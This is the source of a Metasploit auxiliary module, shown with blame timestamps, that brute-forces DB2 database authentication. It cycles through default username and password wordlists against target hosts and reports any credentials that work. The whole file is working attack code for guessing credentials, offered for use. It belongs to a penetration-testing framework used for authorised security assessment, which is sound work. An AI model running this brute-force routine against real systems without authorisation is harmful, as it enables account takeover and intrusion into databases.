metasploit-framework/modules/auxiliary/scanner/db2/db2_auth.rb

84 lines
2.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::DB2
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2013-08-30 21:28:54 +00:00
def initialize
super(
'Name' => 'DB2 Authentication Brute Force Utility',
'Description' => %q{This module attempts to authenticate against a DB2
instance using username and password combinations indicated by the
USER_FILE, PASS_FILE, and USERPASS_FILE options.},
'Author' => ['todb'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
2013-08-30 21:28:54 +00:00
register_options(
[
OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line",
2013-09-26 19:34:48 +00:00
File.join(Msf::Config.data_directory, "wordlists", "db2_default_userpass.txt") ]),
2013-08-30 21:28:54 +00:00
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
2013-09-26 19:34:48 +00:00
File.join(Msf::Config.data_directory, "wordlists", "db2_default_user.txt") ]),
2013-08-30 21:28:54 +00:00
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
2013-09-26 19:34:48 +00:00
File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]),
2013-08-30 21:28:54 +00:00
], self.class)
end
2013-08-30 21:28:54 +00:00
def run_host(ip)
each_user_pass { |user, pass|
do_login(user,pass,datastore['DATABASE'])
}
end
2013-08-30 21:28:54 +00:00
def do_login(user=nil,pass=nil,db=nil)
datastore['USERNAME'] = user
datastore['PASSWORD'] = pass
vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'")
2013-08-30 21:28:54 +00:00
begin
info = db2_check_login
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} : Unable to attempt authentication")
return :abort
rescue ::Rex::Proto::DRDA::RespError => e
vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}")
return :abort
end
2013-08-30 21:28:54 +00:00
disconnect
2013-08-30 21:28:54 +00:00
if info[:db_login_success]
print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'")
# Report credentials
report_auth_info(
:host => rhost,
:port => rport,
:sname => "db2",
:user => "#{db}/#{user}",
:pass => pass,
:active => true
)
return :next_user
else
vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'")
return :fail
end
2013-08-30 21:28:54 +00:00
end
end